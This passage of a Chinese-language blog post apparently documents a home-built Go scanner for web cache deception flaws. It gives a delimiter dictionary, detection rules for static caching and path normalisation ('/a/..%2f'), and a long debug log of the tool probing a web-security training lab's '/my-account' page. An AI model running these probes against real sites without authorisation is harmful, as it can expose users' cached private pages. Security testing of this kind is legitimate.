class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br></pre></td><td class="code"><pre><span class="line">!</span><br><span class="line">&quot;</span><br><span class="line">#</span><br><span class="line">$</span><br><span class="line">%</span><br><span class="line">&amp;</span><br><span class="line">&#x27;</span><br><span class="line">(</span><br><span class="line">)</span><br><span class="line">*</span><br><span class="line">+</span><br><span class="line">,</span><br><span class="line">-</span><br><span class="line">.</span><br><span class="line">/</span><br><span class="line">:</span><br><span class="line">;</span><br><span class="line">&lt;</span><br><span class="line">=</span><br><span class="line">&gt;</span><br><span class="line">?</span><br><span class="line">@</span><br><span class="line">[</span><br><span class="line">\</span><br><span class="line">]</span><br><span class="line">^</span><br><span class="line">_</span><br><span class="line">`</span><br><span class="line">&#123;</span><br><span class="line">|</span><br><span class="line">&#125;</span><br><span class="line">~</span><br><span class="line">%21</span><br><span class="line">%22</span><br><span class="line">%23</span><br><span class="line">%24</span><br><span class="line">%25</span><br><span class="line">%26</span><br><span class="line">%27</span><br><span class="line">%28</span><br><span class="line">%29</span><br><span class="line">%2A</span><br><span class="line">%2B</span><br><span class="line">%2C</span><br><span class="line">%2D</span><br><span class="line">%2E</span><br><span class="line">%2F</span><br><span class="line">%3A</span><br><span class="line">%3B</span><br><span class="line">%3C</span><br><span class="line">%3D</span><br><span class="line">%3E</span><br><span class="line">%3F</span><br><span class="line">%40</span><br><span class="line">%5B</span><br><span class="line">%5C</span><br><span class="line">%5D</span><br><span class="line">%5E</span><br><span class="line">%5F</span><br><span class="line">%60</span><br><span class="line">%7B</span><br><span class="line">%7C</span><br><span class="line">%7D</span><br><span class="line">%7E</span><br></pre></td></tr></table></figure><br>将这些字符一个个的嵌入<a href="http://xxxxxx/xxxx{字典中的分隔符}aa">http://xxxxxx/xxxx{字典中的分隔符}aa</a><br>如果这个url与<a href="http://xxxxxx/xxxx返回相同则那个字符即为分隔符">http://xxxxxx/xxxx返回相同则那个字符即为分隔符</a></p><h2 id="3-静态目录缓存检测"><a href="#3-静态目录缓存检测" class="headerlink" title="3.静态目录缓存检测"></a>3.静态目录缓存检测</h2><p>提取出专门存在静态问题的目录，再后面加上不存在文件aaaa如果换成则其存静态目录缓存，如果有多个静态目录就提取多个检测<br>举例<br>如果爬虫爬出了如下路径<br><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">http://xxxxxx/static/aa.js</span><br><span class="line">http://xxxxxx/static/aa.css</span><br><span class="line">http://xxxxxx/static/aa.txt</span><br></pre></td></tr></table></figure><br>那么<a href="http://xxxxxx/static/就是静态目录再后面加上aaaaa即http://xxxxxx/static/aaaaa">http://xxxxxx/static/就是静态目录再后面加上aaaaa即http://xxxxxx/static/aaaaa</a><br>若缓存则存在静态目录缓存逻辑</p><h2 id="4-服务器规范化检测"><a href="#4-服务器规范化检测" class="headerlink" title="4.服务器规范化检测"></a>4.服务器规范化检测</h2><h3 id="缓存服务器规范化"><a href="#缓存服务器规范化" class="headerlink" title="缓存服务器规范化"></a>缓存服务器规范化</h3><h4 id="规范化"><a href="#规范化" class="headerlink" title="../规范化"></a>../规范化</h4><p>从爬取的url中获取一个可缓存的url,如果存在静态文件缓存则不找静态文件的路径<br>如<a href="http://xxxxxxx/aaa">http://xxxxxxx/aaa</a><br>如果<a href="http://xxxxxxx/a/..%2faaa可缓存则存在缓存服务器规范化">http://xxxxxxx/a/..%2faaa可缓存则存在缓存服务器规范化</a></p><h3 id="源服务器规范化"><a href="#源服务器规范化" class="headerlink" title="源服务器规范化"></a>源服务器规范化</h3><p>提取一个爬取url随便什么。如<a href="http://xxxxx/test">http://xxxxx/test</a><br>访问<a href="http://xxxxx/a/..%2ftest">http://xxxxx/a/..%2ftest</a><br>当两个请求的body相同时存在源服务器规范化</p><h1 id="出现如下逻辑组合则大概率存在漏洞"><a href="#出现如下逻辑组合则大概率存在漏洞" class="headerlink" title="出现如下逻辑组合则大概率存在漏洞"></a>出现如下逻辑组合则大概率存在漏洞</h1><h2 id="静态文件缓存-分隔符"><a href="#静态文件缓存-分隔符" class="headerlink" title="静态文件缓存+分隔符"></a>静态文件缓存+分隔符</h2><h2 id="静态目录缓存-缓存服务器规范化"><a href="#静态目录缓存-缓存服务器规范化" class="headerlink" title="静态目录缓存+缓存服务器规范化"></a>静态目录缓存+缓存服务器规范化</h2><h2 id="缓存服务器规范化-源服务器不规范化"><a href="#缓存服务器规范化-源服务器不规范化" class="headerlink" title="缓存服务器规范化+源服务器不规范化"></a>缓存服务器规范化+源服务器不规范化</h2><h2 id="源服务器规范化，但缓存没有规范化"><a href="#源服务器规范化，但缓存没有规范化" class="headerlink" title="源服务器规范化，但缓存没有规范化"></a>源服务器规范化，但缓存没有规范化</h2><p>[*] 扫描完成.<br>root@VM-4-16-debian:~/cache# go build -o cache-hijacking-scanner<br>root@VM-4-16-debian:~/cache# ./cache-hijacking-scanner -u <a href="https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/">https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/</a> -d 2 -v</p><p>—- 正在扫描 <a href="https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/">https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/</a> —-<br>[<em>] 正在运行爬虫模块…<br>2025/10/23 20:44:44 [DEBUG] Katana raw output:<br><a href="https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/">https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/</a><br><a href="https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/resources/js/tracking.js">https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/resources/js/tracking.js</a><br><a href="https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/resources/css/labsBlog.css">https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/resources/css/labsBlog.css</a><br><a href="https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/post?postId=10">https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/post?postId=10</a><br><a href="https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/post?postId=3">https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/post?postId=3</a><br><a href="https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/resources/labheader/js/labHeader.js">https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/resources/labheader/js/labHeader.js</a><br><a href="https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/resources/labheader/css/academyLabHeader.css">https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/resources/labheader/css/academyLabHeader.css</a><br><a href="https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/post?postId=9">https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/post?postId=9</a><br><a href="https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/post?postId=7">https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/post?postId=7</a><br><a href="https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/resources/labheader/js/submitSolution.js">https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/resources/labheader/js/submitSolution.js</a><br><a href="https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/post?postId=8">https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/post?postId=8</a><br><a href="https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/post?postId=1">https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/post?postId=1</a><br><a href="https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/post?postId=5">https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/post?postId=5</a><br><a href="https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/">https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/</a><br><a href="https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/post?postId=2">https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/post?postId=2</a><br><a href="https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/post?postId=6">https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/post?postId=6</a><br><a href="https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/post?postId=4">https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/post?postId=4</a><br><a href="https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/my-account">https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/my-account</a><br><a href="https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/login">https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/login</a><br><a href="https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/resources/css/labs.css">https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/resources/css/labs.css</a><br>    [+] Katana发现 10 个URL<br>2025/10/23 20:44:53 [DEBUG] Gau raw output:<br>    [+] Gau发现 0 个URL<br>    [</em>] 总计独立URL: 10</p><p>[*] 正在运行缓存检测模块…<br>2025/10/23 20:44:53 [DEBUG] Requesting URL (1/3): <a href="https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/resources/css/labsBlog.css">https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/resources/css/labsBlog.css</a><br>2025/10/23 20:44:54 [DEBUG] Requesting URL (1/3): <a href="https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/resources/labheader/js/labHeader.js">https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/resources/labheader/js/labHeader.js</a><br>2025/10/23 20:44:54 [DEBUG] Requesting URL (1/3): <a href="https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/resources/labheader/css/academyLabHeader.css">https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/resources/labheader/css/academyLabHeader.css</a><br>2025/10/23 20:44:54 [DEBUG] Requesting URL (1/3): <a href="https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/resources/labheader/js/submitSolution.js">https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/resources/labheader/js/submitSolution.js</a><br>2025/10/23 20:44:54 [DEBUG] Requesting URL (1/3): <a href="https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/">https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/</a><br>2025/10/23 20:44:54 [DEBUG] Requesting URL (2/3): <a href="https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/">https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/</a><br>2025/10/23 20:44:54 [DEBUG] Requesting URL (3/3): <a href="https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/">https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/</a><br>2025/10/23 20:44:55 [DEBUG] Requesting URL (1/3): <a href="https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/my-account">https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/my-account</a><br>2025/10/23 20:44:55 [DEBUG] Requesting URL (2/3): <a href="https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/my-account">https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/my-account</a><br>2025/10/23 20:44:55 [DEBUG] Requesting URL (3/3): <a href="https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/my-account">https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/my-account</a><br>2025/10/23 20:44:56 [DEBUG] Requesting URL (1/3): <a href="https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/login">https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/login</a><br>2025/10/23 20:44:56 [DEBUG] Requesting URL (2/3): <a href="https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/login">https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/login</a><br>2025/10/23 20:44:56 [DEBUG] Requesting URL (3/3): <a href="https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/login">https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/login</a><br>2025/10/23 20:44:56 [DEBUG] Requesting URL (1/3): <a href="https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/post">https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/post</a><br>2025/10/23 20:44:56 [DEBUG] Requesting URL (2/3): <a href="https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/post">https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/post</a><br>2025/10/23 20:44:57 [DEBUG] Requesting URL (3/3): <a href="https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/post">https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/post</a><br>2025/10/23 20:44:57 [DEBUG] Requesting URL (1/3): <a href="https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/resources/js/tracking.js">https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/resources/js/tracking.js</a><br>2025/10/23 20:44:57 [DEBUG] Requesting URL (1/3): <a href="https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/resources/css/labs.css">https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/resources/css/labs.css</a></p><p>[<em>] 正在运行缓存逻辑检测模块…<br>2025/10/23 20:44:57 [DEBUG] Requesting URL (1/3): <a href="https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/a.js">https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/a.js</a><br>2025/10/23 20:44:57 [DEBUG] Requesting URL (2/3): <a href="https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/a.js">https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/a.js</a><br>2025/10/23 20:44:58 [DEBUG] Requesting URL (3/3): <a href="https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/a.js">https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/a.js</a><br>2025/10/23 20:44:58 [DEBUG] Requesting URL (1/3): <a href="https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/a.css">https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/a.css</a><br>2025/10/23 20:44:58 [DEBUG] Requesting URL (2/3): <a href="https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/a.css">https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/a.css</a><br>2025/10/23 20:44:58 [DEBUG] Requesting URL (3/3): <a href="https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/a.css">https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/a.css</a><br>2025/10/23 20:44:58 [DEBUG] Requesting URL (1/3): <a href="https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/a.jpg">https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/a.jpg</a><br>2025/10/23 20:44:58 [DEBUG] Requesting URL (2/3): <a href="https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/a.jpg">https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/a.jpg</a><br>2025/10/23 20:44:59 [DEBUG] Requesting URL (3/3): <a href="https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/a.jpg">https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/a.jpg</a><br>2025/10/23 20:44:59 [DEBUG] Requesting URL (1/3): <a href="https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/a.png">https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/a.png</a><br>2025/10/23 20:44:59 [DEBUG] Requesting URL (2/3): <a href="https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/a.png">https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/a.png</a><br>2025/10/23 20:44:59 [DEBUG] Requesting URL (3/3): <a href="https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/a.png">https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/a.png</a><br>2025/10/23 20:44:59 [DEBUG] Requesting URL (1/3): <a href="https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/a.gif">https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/a.gif</a><br>2025/10/23 20:45:00 [DEBUG] Requesting URL (2/3): <a href="https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/a.gif">https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/a.gif</a><br>2025/10/23 20:45:00 [DEBUG] Requesting URL (3/3): <a href="https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/a.gif">https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/a.gif</a><br>2025/10/23 20:45:00 [DEBUG] Requesting URL (1/3): <a href="https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/a.svg">https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/a.svg</a><br>2025/10/23 20:45:00 [DEBUG] Requesting URL (2/3): <a href="https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/a.svg">https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/a.svg</a><br>2025/10/23 20:45:00 [DEBUG] Requesting URL (3/3): <a href="https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/a.svg">https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/a.svg</a><br>2025/10/23 20:45:00 [DEBUG] Requesting URL (1/3): <a href="https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/a.woff">https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/a.woff</a><br>2025/10/23 20:45:01 [DEBUG] Requesting URL (2/3): <a href="https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/a.woff">https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/a.woff</a><br>2025/10/23 20:45:01 [DEBUG] Requesting URL (3/3): <a href="https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/a.woff">https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/a.woff</a><br>2025/10/23 20:45:01 [DEBUG] Requesting URL (1/3): <a href="https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/a.woff2">https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/a.woff2</a><br>2025/10/23 20:45:01 [DEBUG] Requesting URL (2/3): <a href="https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/a.woff2">https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/a.woff2</a><br>2025/10/23 20:45:01 [DEBUG] Requesting URL (3/3): <a href="https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/a.woff2">https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/a.woff2</a><br>2025/10/23 20:45:02 [DEBUG] Requesting URL (1/3): <a href="https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/a.ttf">https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/a.ttf</a><br>2025/10/23 20:45:02 [DEBUG] Requesting URL (2/3): <a href="https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/a.ttf">https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/a.ttf</a><br>2025/10/23 20:45:02 [DEBUG] Requesting URL (3/3): <a href="https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/a.ttf">https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/a.ttf</a><br>2025/10/23 20:45:02 [DEBUG] Requesting URL (1/3): <a href="https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/a.eot">https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/a.eot</a><br>2025/10/23 20:45:02 [DEBUG] Requesting URL (2/3): <a href="https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/a.eot">https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/a.eot</a><br>2025/10/23 20:45:03 [DEBUG] Requesting URL (3/3): <a href="https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/a.eot">https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/a.eot</a><br>2025/10/23 20:45:03 [DEBUG] 正在为分隔符检测选择基础URL: <a href="https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/my-account">https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/my-account</a><br>2025/10/23 20:45:03 [DEBUG] 正在测试分隔符 (来自字典): ‘!’, URL: <a href="https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/my-account!aa">https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/my-account!aa</a><br>2025/10/23 20:45:03 [DEBUG] 正在测试分隔符 (字典条目编码后): ‘%21’, URL: <a href="https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/my-account%21aa">https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/my-account%21aa</a><br>2025/10/23 20:45:03 [DEBUG] 正在测试分隔符 (来自字典): ‘“‘, URL: <a href="https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/my-account&quot;aa">https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/my-account&quot;aa</a><br>2025/10/23 20:45:04 [DEBUG] 正在测试分隔符 (字典条目编码后): ‘%22’, URL: <a href="https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/my-account%22aa">https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/my-account%22aa</a><br>2025/10/23 20:45:04 [DEBUG] 正在测试分隔符 (来自字典): ‘#’, URL: <a href="https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/my-account#aa">https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/my-account#aa</a><br>2025/10/23 20:45:04 [DEBUG] 正在测试分隔符 (字典条目编码后): ‘%23’, URL: <a href="https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/my-account%23aa">https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/my-account%23aa</a><br>2025/10/23 20:45:04 [DEBUG] 正在测试分隔符 (来自字典): ‘$’, URL: <a href="https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/my-account$aa">https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/my-account$aa</a><br>2025/10/23 20:45:05 [DEBUG] 正在测试分隔符 (字典条目编码后): ‘%24’, URL: <a href="https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/my-account%24aa">https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/my-account%24aa</a><br>2025/10/23 20:45:05 [DEBUG] 正在测试分隔符 (来自字典): ‘%’, URL: <a href="https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/my-account%aa">https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/my-account%aa</a><br>2025/10/23 20:45:05 [DEBUG] 正在测试分隔符 (字典条目编码后): ‘%25’, URL: <a href="https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/my-account%25aa">https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/my-account%25aa</a><br>2025/10/23 20:45:05 [DEBUG] 正在测试分隔符 (来自字典): ‘&amp;’, URL: <a href="https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/my-account&amp;aa">https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/my-account&amp;aa</a><br>2025/10/23 20:45:05 [DEBUG] 正在测试分隔符 (字典条目编码后): ‘%26’, URL: <a href="https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/my-account%26aa">https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/my-account%26aa</a><br>2025/10/23 20:45:05 [DEBUG] 正在测试分隔符 (来自字典): ‘’’, URL: <a href="https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/my-account&#39;aa">https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/my-account&#39;aa</a><br>2025/10/23 20:45:06 [DEBUG] 正在测试分隔符 (字典条目编码后): ‘%27’, URL: <a href="https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/my-account%27aa">https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/my-account%27aa</a><br>2025/10/23 20:45:06 [DEBUG] 正在测试分隔符 (来自字典): ‘(‘, URL: <a href="https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/my-account(aa">https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/my-account(aa</a><br>2025/10/23 20:45:06 [DEBUG] 正在测试分隔符 (字典条目编码后): ‘%28’, URL: <a href="https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/my-account%28aa">https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/my-account%28aa</a><br>2025/10/23 20:45:06 [DEBUG] 正在测试分隔符 (来自字典): ‘)’, URL: <a href="https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/my-account)aa">https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/my-account)aa</a><br>2025/10/23 20:45:06 [DEBUG] 正在测试分隔符 (字典条目编码后): ‘%29’, URL: <a href="https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/my-account%29aa">https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/my-account%29aa</a><br>2025/10/23 20:45:07 [DEBUG] 正在测试分隔符 (来自字典): ‘</em>‘, URL: <a href="https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/my-account*aa">https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/my-account*aa</a><br>2025/10/23 20:45:07 [DEBUG] 正在测试分隔符 (字典条目编码后): ‘%2A’, URL: <a href="https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/my-account%2Aaa">https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/my-account%2Aaa</a><br>2025/10/23 20:45:07 [DEBUG] 正在测试分隔符 (来自字典): ‘+’, URL: <a href="https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/my-account+aa">https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/my-account+aa</a><br>2025/10/23 20:45:07 [DEBUG] 正在测试分隔符 (字典条目编码后): ‘%2B’, URL: <a href="https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/my-account%2Baa">https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/my-account%2Baa</a><br>2025/10/23 20:45:07 [DEBUG] 正在测试分隔符 (来自字典): ‘,’, URL: <a href="https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/my-account,aa">https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/my-account,aa</a><br>2025/10/23 20:45:07 [DEBUG] 正在测试分隔符 (字典条目编码后): ‘%2C’, URL: <a href="https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/my-account%2Caa">https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/my-account%2Caa</a><br>2025/10/23 20:45:08 [DEBUG] 正在测试分隔符 (来自字典): ‘-‘, URL: <a href="https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/my-account-aa">https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/my-account-aa</a><br>2025/10/23 20:45:08 [DEBUG] 正在测试分隔符 (来自字典): ‘.’, URL: <a href="https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/my-account.aa">https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/my-account.aa</a><br>2025/10/23 20:45:08 [DEBUG] 正在测试分隔符 (来自字典): ‘/‘, URL: <a href="https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/my-account/aa">https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/my-account/aa</a><br>2025/10/23 20:45:08 [DEBUG] 正在测试分隔符 (字典条目编码后): ‘%2F’, URL: <a href="https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/my-account%2Faa">https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/my-account%2Faa</a><br>2025/10/23 20:45:09 [DEBUG] 正在测试分隔符 (来自字典): ‘:’, URL: <a href="https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/my-account:aa">https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/my-account:aa</a><br>2025/10/23 20:45:09 [DEBUG] 正在测试分隔符 (字典条目编码后): ‘%3A’, URL: <a href="https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/my-account%3Aaa">https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/my-account%3Aaa</a><br>2025/10/23 20:45:09 [DEBUG] 正在测试分隔符 (来自字典): ‘;’, URL: <a href="https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/my-account;aa">https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/my-account;aa</a><br>2025/10/23 20:45:09 [DEBUG] 正在测试分隔符 (字典条目编码后): ‘%3B’, URL: <a href="https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/my-account%3Baa">https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/my-account%3Baa</a><br>2025/10/23 20:45:09 [DEBUG] 正在测试分隔符 